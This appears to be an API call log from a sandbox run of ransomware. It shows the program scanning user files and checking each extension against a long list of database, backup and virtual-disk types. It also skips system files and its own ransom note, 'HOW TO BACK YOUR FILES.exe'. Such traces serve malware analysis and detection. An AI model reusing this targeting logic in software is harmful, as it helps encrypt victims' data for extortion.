	[0037.632] lstrcmpiW (lpString1="Store", lpString2="accdc") returned 1
	[0037.632] lstrlenW (lpString="accde") returned 5
	[0037.632] lstrcmpiW (lpString1="Store", lpString2="accde") returned 1
	[0037.632] lstrlenW (lpString="accdr") returned 5
	[0037.632] lstrcmpiW (lpString1="Store", lpString2="accdr") returned 1
	[0037.632] lstrlenW (lpString="accdt") returned 5
	[0037.632] lstrcmpiW (lpString1="Store", lpString2="accdt") returned 1
	[0037.632] lstrlenW (lpString="accdw") returned 5
	[0037.632] lstrcmpiW (lpString1="Store", lpString2="accdw") returned 1
	[0037.632] lstrlenW (lpString="accft") returned 5
	[0037.633] lstrcmpiW (lpString1="Store", lpString2="accft") returned 1
	[0037.633] lstrlenW (lpString="adb") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="adb") returned 1
	[0037.633] lstrlenW (lpString="adb") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="adb") returned 1
	[0037.633] lstrlenW (lpString="ade") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="ade") returned 1
	[0037.633] lstrlenW (lpString="adf") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="adf") returned 1
	[0037.633] lstrlenW (lpString="adn") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="adn") returned 1
	[0037.633] lstrlenW (lpString="adp") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="adp") returned 1
	[0037.633] lstrlenW (lpString="alf") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="alf") returned 1
	[0037.633] lstrlenW (lpString="ask") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="ask") returned 1
	[0037.633] lstrlenW (lpString="btr") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="btr") returned 1
	[0037.633] lstrlenW (lpString="cat") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="cat") returned 1
	[0037.633] lstrlenW (lpString="cdb") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="cdb") returned 1
	[0037.633] lstrlenW (lpString="ckp") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="ckp") returned 1
	[0037.633] lstrlenW (lpString="cma") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="cma") returned 1
	[0037.633] lstrlenW (lpString="cpd") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="cpd") returned 1
	[0037.633] lstrlenW (lpString="dacpac") returned 6
	[0037.633] lstrcmpiW (lpString1="eStore", lpString2="dacpac") returned 1
	[0037.633] lstrlenW (lpString="dad") returned 3
	[0037.633] lstrcmpiW (lpString1="ore", lpString2="dad") returned 1
	[0037.633] lstrlenW (lpString="dadiagrams") returned 10
	[0037.633] lstrcmpiW (lpString1="ssageStore", lpString2="dadiagrams") returned 1
	[0037.633] lstrlenW (lpString="daschema") returned 8
	[0037.634] lstrcmpiW (lpString1="ageStore", lpString2="daschema") returned -1
	[0037.634] lstrlenW (lpString="db-journal") returned 10
	[0037.634] lstrcmpiW (lpString1="ssageStore", lpString2="db-journal") returned 1
	[0037.634] lstrlenW (lpString="db-shm") returned 6
	[0037.634] lstrcmpiW (lpString1="eStore", lpString2="db-shm") returned 1
	[0037.634] lstrlenW (lpString="db-wal") returned 6
	[0037.634] lstrcmpiW (lpString1="eStore", lpString2="db-wal") returned 1
	[0037.634] lstrlenW (lpString="dbc") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dbc") returned 1
	[0037.634] lstrlenW (lpString="dbs") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dbs") returned 1
	[0037.634] lstrlenW (lpString="dbt") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dbt") returned 1
	[0037.634] lstrlenW (lpString="dbv") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dbv") returned 1
	[0037.634] lstrlenW (lpString="dbx") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dbx") returned 1
	[0037.634] lstrlenW (lpString="dcb") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dcb") returned 1
	[0037.634] lstrlenW (lpString="dct") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dct") returned 1
	[0037.634] lstrlenW (lpString="dcx") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dcx") returned 1
	[0037.634] lstrlenW (lpString="ddl") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="ddl") returned 1
	[0037.634] lstrlenW (lpString="dlis") returned 4
	[0037.634] lstrcmpiW (lpString1="tore", lpString2="dlis") returned 1
	[0037.634] lstrlenW (lpString="dp1") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dp1") returned 1
	[0037.634] lstrlenW (lpString="dqy") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dqy") returned 1
	[0037.634] lstrlenW (lpString="dsk") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dsk") returned 1
	[0037.634] lstrlenW (lpString="dsn") returned 3
	[0037.634] lstrcmpiW (lpString1="ore", lpString2="dsn") returned 1
	[0037.634] lstrlenW (lpString="dtsx") returned 4
	[0037.634] lstrcmpiW (lpString1="tore", lpString2="dtsx") returned 1
	[0037.635] lstrlenW (lpString="dxl") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="dxl") returned 1
	[0037.635] lstrlenW (lpString="eco") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="eco") returned 1
	[0037.635] lstrlenW (lpString="ecx") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="ecx") returned 1
	[0037.635] lstrlenW (lpString="edb") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="edb") returned 1
	[0037.635] lstrlenW (lpString="epim") returned 4
	[0037.635] lstrcmpiW (lpString1="tore", lpString2="epim") returned 1
	[0037.635] lstrlenW (lpString="fcd") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fcd") returned 1
	[0037.635] lstrlenW (lpString="fdb") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fdb") returned 1
	[0037.635] lstrlenW (lpString="fic") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fic") returned 1
	[0037.635] lstrlenW (lpString="flexolibrary") returned 12
	[0037.635] lstrcmpiW (lpString1="MessageStore", lpString2="flexolibrary") returned 1
	[0037.635] lstrlenW (lpString="fm5") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fm5") returned 1
	[0037.635] lstrlenW (lpString="fmp") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fmp") returned 1
	[0037.635] lstrlenW (lpString="fmp12") returned 5
	[0037.635] lstrcmpiW (lpString1="Store", lpString2="fmp12") returned 1
	[0037.635] lstrlenW (lpString="fmpsl") returned 5
	[0037.635] lstrcmpiW (lpString1="Store", lpString2="fmpsl") returned 1
	[0037.635] lstrlenW (lpString="fol") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fol") returned 1
	[0037.635] lstrlenW (lpString="fp3") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fp3") returned 1
	[0037.635] lstrlenW (lpString="fp4") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fp4") returned 1
	[0037.635] lstrlenW (lpString="fp5") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fp5") returned 1
	[0037.635] lstrlenW (lpString="fp7") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fp7") returned 1
	[0037.635] lstrlenW (lpString="fpt") returned 3
	[0037.635] lstrcmpiW (lpString1="ore", lpString2="fpt") returned 1
	[0037.636] lstrlenW (lpString="frm") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="frm") returned 1
	[0037.636] lstrlenW (lpString="gdb") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="gdb") returned 1
	[0037.636] lstrlenW (lpString="gdb") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="gdb") returned 1
	[0037.636] lstrlenW (lpString="grdb") returned 4
	[0037.636] lstrcmpiW (lpString1="tore", lpString2="grdb") returned 1
	[0037.636] lstrlenW (lpString="gwi") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="gwi") returned 1
	[0037.636] lstrlenW (lpString="hdb") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="hdb") returned 1
	[0037.636] lstrlenW (lpString="his") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="his") returned 1
	[0037.636] lstrlenW (lpString="ib") returned 2
	[0037.636] lstrcmpiW (lpString1="re", lpString2="ib") returned 1
	[0037.636] lstrlenW (lpString="idb") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="idb") returned 1
	[0037.636] lstrlenW (lpString="ihx") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="ihx") returned 1
	[0037.636] lstrlenW (lpString="itdb") returned 4
	[0037.636] lstrcmpiW (lpString1="tore", lpString2="itdb") returned 1
	[0037.636] lstrlenW (lpString="itw") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="itw") returned 1
	[0037.636] lstrlenW (lpString="jet") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="jet") returned 1
	[0037.636] lstrlenW (lpString="jtx") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="jtx") returned 1
	[0037.636] lstrlenW (lpString="kdb") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="kdb") returned 1
	[0037.636] lstrlenW (lpString="kexi") returned 4
	[0037.636] lstrcmpiW (lpString1="tore", lpString2="kexi") returned 1
	[0037.636] lstrlenW (lpString="kexic") returned 5
	[0037.636] lstrcmpiW (lpString1="Store", lpString2="kexic") returned 1
	[0037.636] lstrlenW (lpString="kexis") returned 5
	[0037.636] lstrcmpiW (lpString1="Store", lpString2="kexis") returned 1
	[0037.636] lstrlenW (lpString="lgc") returned 3
	[0037.636] lstrcmpiW (lpString1="ore", lpString2="lgc") returned 1
	[0037.637] lstrlenW (lpString="lwx") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="lwx") returned 1
	[0037.637] lstrlenW (lpString="maf") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="maf") returned 1
	[0037.637] lstrlenW (lpString="maq") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="maq") returned 1
	[0037.637] lstrlenW (lpString="mar") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="mar") returned 1
	[0037.637] lstrlenW (lpString="marshal") returned 7
	[0037.637] lstrcmpiW (lpString1="geStore", lpString2="marshal") returned -1
	[0037.637] lstrlenW (lpString="mas") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="mas") returned 1
	[0037.637] lstrlenW (lpString="mav") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="mav") returned 1
	[0037.637] lstrlenW (lpString="maw") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="maw") returned 1
	[0037.637] lstrlenW (lpString="mdbhtml") returned 7
	[0037.637] lstrcmpiW (lpString1="geStore", lpString2="mdbhtml") returned -1
	[0037.637] lstrlenW (lpString="mdn") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="mdn") returned 1
	[0037.637] lstrlenW (lpString="mdt") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="mdt") returned 1
	[0037.637] lstrlenW (lpString="mfd") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="mfd") returned 1
	[0037.637] lstrlenW (lpString="mpd") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="mpd") returned 1
	[0037.637] lstrlenW (lpString="mrg") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="mrg") returned 1
	[0037.637] lstrlenW (lpString="mud") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="mud") returned 1
	[0037.637] lstrlenW (lpString="mwb") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="mwb") returned 1
	[0037.637] lstrlenW (lpString="myd") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="myd") returned 1
	[0037.637] lstrlenW (lpString="ndf") returned 3
	[0037.637] lstrcmpiW (lpString1="ore", lpString2="ndf") returned 1
	[0037.637] lstrlenW (lpString="nnt") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="nnt") returned 1
	[0037.638] lstrlenW (lpString="nrmlib") returned 6
	[0037.638] lstrcmpiW (lpString1="eStore", lpString2="nrmlib") returned -1
	[0037.638] lstrlenW (lpString="ns2") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="ns2") returned 1
	[0037.638] lstrlenW (lpString="ns3") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="ns3") returned 1
	[0037.638] lstrlenW (lpString="ns4") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="ns4") returned 1
	[0037.638] lstrlenW (lpString="nsf") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="nsf") returned 1
	[0037.638] lstrlenW (lpString="nv") returned 2
	[0037.638] lstrcmpiW (lpString1="re", lpString2="nv") returned 1
	[0037.638] lstrlenW (lpString="nv2") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="nv2") returned 1
	[0037.638] lstrlenW (lpString="nwdb") returned 4
	[0037.638] lstrcmpiW (lpString1="tore", lpString2="nwdb") returned 1
	[0037.638] lstrlenW (lpString="nyf") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="nyf") returned 1
	[0037.638] lstrlenW (lpString="odb") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="odb") returned 1
	[0037.638] lstrlenW (lpString="odb") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="odb") returned 1
	[0037.638] lstrlenW (lpString="oqy") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="oqy") returned 1
	[0037.638] lstrlenW (lpString="ora") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="ora") returned 1
	[0037.638] lstrlenW (lpString="orx") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="orx") returned -1
	[0037.638] lstrlenW (lpString="owc") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="owc") returned -1
	[0037.638] lstrlenW (lpString="p96") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="p96") returned -1
	[0037.638] lstrlenW (lpString="p97") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="p97") returned -1
	[0037.638] lstrlenW (lpString="pan") returned 3
	[0037.638] lstrcmpiW (lpString1="ore", lpString2="pan") returned -1
	[0037.639] lstrlenW (lpString="pdb") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="pdb") returned -1
	[0037.639] lstrlenW (lpString="pdm") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="pdm") returned -1
	[0037.639] lstrlenW (lpString="pnz") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="pnz") returned -1
	[0037.639] lstrlenW (lpString="qry") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="qry") returned -1
	[0037.639] lstrlenW (lpString="qvd") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="qvd") returned -1
	[0037.639] lstrlenW (lpString="rbf") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="rbf") returned -1
	[0037.639] lstrlenW (lpString="rctd") returned 4
	[0037.639] lstrcmpiW (lpString1="tore", lpString2="rctd") returned 1
	[0037.639] lstrlenW (lpString="rod") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="rod") returned -1
	[0037.639] lstrlenW (lpString="rodx") returned 4
	[0037.639] lstrcmpiW (lpString1="tore", lpString2="rodx") returned 1
	[0037.639] lstrlenW (lpString="rpd") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="rpd") returned -1
	[0037.639] lstrlenW (lpString="rsd") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="rsd") returned -1
	[0037.639] lstrlenW (lpString="sas7bdat") returned 8
	[0037.639] lstrcmpiW (lpString1="ageStore", lpString2="sas7bdat") returned -1
	[0037.639] lstrlenW (lpString="sbf") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="sbf") returned -1
	[0037.639] lstrlenW (lpString="scx") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="scx") returned -1
	[0037.639] lstrlenW (lpString="sdb") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="sdb") returned -1
	[0037.639] lstrlenW (lpString="sdc") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="sdc") returned -1
	[0037.639] lstrlenW (lpString="sdf") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="sdf") returned -1
	[0037.639] lstrlenW (lpString="sis") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="sis") returned -1
	[0037.639] lstrlenW (lpString="spq") returned 3
	[0037.639] lstrcmpiW (lpString1="ore", lpString2="spq") returned -1
	[0037.640] lstrlenW (lpString="te") returned 2
	[0037.640] lstrcmpiW (lpString1="re", lpString2="te") returned -1
	[0037.640] lstrlenW (lpString="teacher") returned 7
	[0037.640] lstrcmpiW (lpString1="geStore", lpString2="teacher") returned -1
	[0037.640] lstrlenW (lpString="tmd") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="tmd") returned -1
	[0037.640] lstrlenW (lpString="tps") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="tps") returned -1
	[0037.640] lstrlenW (lpString="trc") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="trc") returned -1
	[0037.640] lstrlenW (lpString="trc") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="trc") returned -1
	[0037.640] lstrlenW (lpString="trm") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="trm") returned -1
	[0037.640] lstrlenW (lpString="udb") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="udb") returned -1
	[0037.640] lstrlenW (lpString="udl") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="udl") returned -1
	[0037.640] lstrlenW (lpString="usr") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="usr") returned -1
	[0037.640] lstrlenW (lpString="v12") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="v12") returned -1
	[0037.640] lstrlenW (lpString="vis") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="vis") returned -1
	[0037.640] lstrlenW (lpString="vpd") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="vpd") returned -1
	[0037.640] lstrlenW (lpString="vvv") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="vvv") returned -1
	[0037.640] lstrlenW (lpString="wdb") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="wdb") returned -1
	[0037.640] lstrlenW (lpString="wmdb") returned 4
	[0037.640] lstrcmpiW (lpString1="tore", lpString2="wmdb") returned -1
	[0037.640] lstrlenW (lpString="wrk") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="wrk") returned -1
	[0037.640] lstrlenW (lpString="xdb") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="xdb") returned -1
	[0037.640] lstrlenW (lpString="xld") returned 3
	[0037.640] lstrcmpiW (lpString1="ore", lpString2="xld") returned -1
	[0037.640] lstrlenW (lpString="xmlff") returned 5
	[0037.641] lstrcmpiW (lpString1="Store", lpString2="xmlff") returned -1
	[0037.641] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2e234eb, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="Apollon865.txt.exe") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="..") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="windows") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="bootmgr") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="temp") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="pagefile.sys") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="boot") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="ids.txt") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="ntuser.dat") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="perflogs") returned 1
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2="MSBuild") returned 1
	[0037.641] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0037.641] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore") returned 80
	[0037.641] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="WindowsMail.pat" | out: lpString1="WindowsMail.pat") returned="WindowsMail.pat"
	[0037.641] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0037.641] lstrlenW (lpString="Apollon865") returned 10
	[0037.641] lstrcmpiW (lpString1="wsMail.pat", lpString2="Apollon865") returned 1
	[0037.641] lstrlenW (lpString=".dll") returned 4
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".dll") returned 1
	[0037.641] lstrlenW (lpString=".lnk") returned 4
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".lnk") returned 1
	[0037.641] lstrlenW (lpString=".ini") returned 4
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".ini") returned 1
	[0037.641] lstrlenW (lpString=".sys") returned 4
	[0037.641] lstrcmpiW (lpString1="WindowsMail.pat", lpString2=".sys") returned 1
	[0037.641] lstrlenW (lpString="WindowsMail.pat") returned 15
	[0037.641] lstrlenW (lpString="bak") returned 3
	[0037.641] lstrcmpiW (lpString1="pat", lpString2="bak") returned 1
	[0037.641] lstrlenW (lpString="ba_") returned 3
	[0037.641] lstrcmpiW (lpString1="pat", lpString2="ba_") returned 1
	[0037.641] lstrlenW (lpString="dbb") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="dbb") returned 1
	[0037.642] lstrlenW (lpString="vmdk") returned 4
	[0037.642] lstrcmpiW (lpString1=".pat", lpString2="vmdk") returned -1
	[0037.642] lstrlenW (lpString="rar") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="rar") returned -1
	[0037.642] lstrlenW (lpString="zip") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="zip") returned -1
	[0037.642] lstrlenW (lpString="tgz") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="tgz") returned -1
	[0037.642] lstrlenW (lpString="vbox") returned 4
	[0037.642] lstrcmpiW (lpString1=".pat", lpString2="vbox") returned -1
	[0037.642] lstrlenW (lpString="vdi") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="vdi") returned -1
	[0037.642] lstrlenW (lpString="vhd") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="vhd") returned -1
	[0037.642] lstrlenW (lpString="vhdx") returned 4
	[0037.642] lstrcmpiW (lpString1=".pat", lpString2="vhdx") returned -1
	[0037.642] lstrlenW (lpString="avhd") returned 4
	[0037.642] lstrcmpiW (lpString1=".pat", lpString2="avhd") returned -1
	[0037.642] lstrlenW (lpString="db") returned 2
	[0037.642] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0037.642] lstrlenW (lpString="db2") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="db2") returned 1
	[0037.642] lstrlenW (lpString="db3") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="db3") returned 1
	[0037.642] lstrlenW (lpString="dbf") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="dbf") returned 1
	[0037.642] lstrlenW (lpString="mdf") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="mdf") returned 1
	[0037.642] lstrlenW (lpString="mdb") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="mdb") returned 1
	[0037.642] lstrlenW (lpString="sql") returned 3
	[0037.642] lstrcmpiW (lpString1="pat", lpString2="sql") returned -1
	[0037.642] lstrlenW (lpString="sqlite") returned 6
	[0037.642] lstrcmpiW (lpString1="il.pat", lpString2="sqlite") returned -1
	[0037.642] lstrlenW (lpString="sqlite3") returned 7
	[0037.642] lstrcmpiW (lpString1="ail.pat", lpString2="sqlite3") returned -1
	[0037.643] lstrlenW (lpString="sqlitedb") returned 8
	[0037.643] lstrcmpiW (lpString1="Mail.pat", lpString2="sqlitedb") returned -1
	[0037.643] lstrlenW (lpString="xml") returned 3
	[0037.643] lstrcmpiW (lpString1="pat", lpString2="xml") returned -1
	[0037.643] lstrlenW (lpString="$er") returned 3
	[0037.643] lstrcmpiW (lpString1="pat", lpString2="$er") returned 1
	[0037.643] lstrlenW (lpString="4dd") returned 3
	[0037.643] lstrcmpiW (lpString1="pat", lpString2="4dd") returned 1
	[0037.643] lstrlenW (lpString="4dl") returned 3
	[0037.643] lstrcmpiW (lpString1="pat", lpString2="4dl") returned 1
	[0037.643] lstrlenW (lpString="^^^") returned 3
	[0037.643] lstrcmpiW (lpString1="pat", lpString2="^^^") returned 1
	[0037.643] lstrlenW (lpString="abs") returned 3
	[0037.643] lstrcmpiW (lpString1="pat", lpString2="abs") returned 1
	[0037.643] lstrlenW (lpString="abx") returned 3
	[0037.643] lstrcmpiW (lpString1="pat", lpString2="abx") returned 1
	[0037.643] lstrlenW (lpString="accdb") returned 5
	[0037.643] lstrcmpiW (lpString1="l.pat", lpString2="accdb") returned 1
	[0037.643] lstrlenW (lpString="accdc") returned 5
	[0037.643] lstrcmpiW (lpString1="l.pat", lpString2="accdc") returned 1
	[0037.643] lstrlenW (lpString="accde") returned 5
	[0037.643] lstrcmpiW (lpString1="l.pat", lpString2="accde") returned 1
	[0037.643] lstrlenW (lpString="accdr") returned 5
	[0037.643] lstrcmpiW (lpString1="l.pat", lpString2="accdr") returned 1
	[0037.643] lstrlenW (lpString="accdt") returned 5
	[0037.643] lstrcmpiW (lpString1="l.pat", lpString2="accdt") returned 1
	[0037.643] lstrlenW (lpString="accdw") returned 5
	[0037.643] lstrcmpiW (lpString1="l.pat", lpString2="accdw") returned 1
	[0037.643] lstrlenW (lpString="accft") returned 5
	[0037.643] lstrcmpiW (lpString1="l.pat", lpString2="accft") returned 1
	[0037.647] lstrlenW (lpString="adb") returned 3
	[0037.647] lstrcmpiW (lpString1="pat", lpString2="adb") returned 1
	[0037.647] lstrlenW (lpString="adb") returned 3
	[0037.647] lstrcmpiW (lpString1="pat", lpString2="adb") returned 1
	[0037.647] lstrlenW (lpString="ade") returned 3
	[0037.647] lstrcmpiW (lpString1="pat", lpString2="ade") returned 1
	[0037.648] lstrlenW (lpString="adf") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="adf") returned 1
	[0037.648] lstrlenW (lpString="adn") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="adn") returned 1
	[0037.648] lstrlenW (lpString="adp") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="adp") returned 1
	[0037.648] lstrlenW (lpString="alf") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="alf") returned 1
	[0037.648] lstrlenW (lpString="ask") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="ask") returned 1
	[0037.648] lstrlenW (lpString="btr") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="btr") returned 1
	[0037.648] lstrlenW (lpString="cat") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="cat") returned 1
	[0037.648] lstrlenW (lpString="cdb") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="cdb") returned 1
	[0037.648] lstrlenW (lpString="ckp") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="ckp") returned 1
	[0037.648] lstrlenW (lpString="cma") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="cma") returned 1
	[0037.648] lstrlenW (lpString="cpd") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="cpd") returned 1
	[0037.648] lstrlenW (lpString="dacpac") returned 6
	[0037.648] lstrcmpiW (lpString1="il.pat", lpString2="dacpac") returned 1
	[0037.648] lstrlenW (lpString="dad") returned 3
	[0037.648] lstrcmpiW (lpString1="pat", lpString2="dad") returned 1
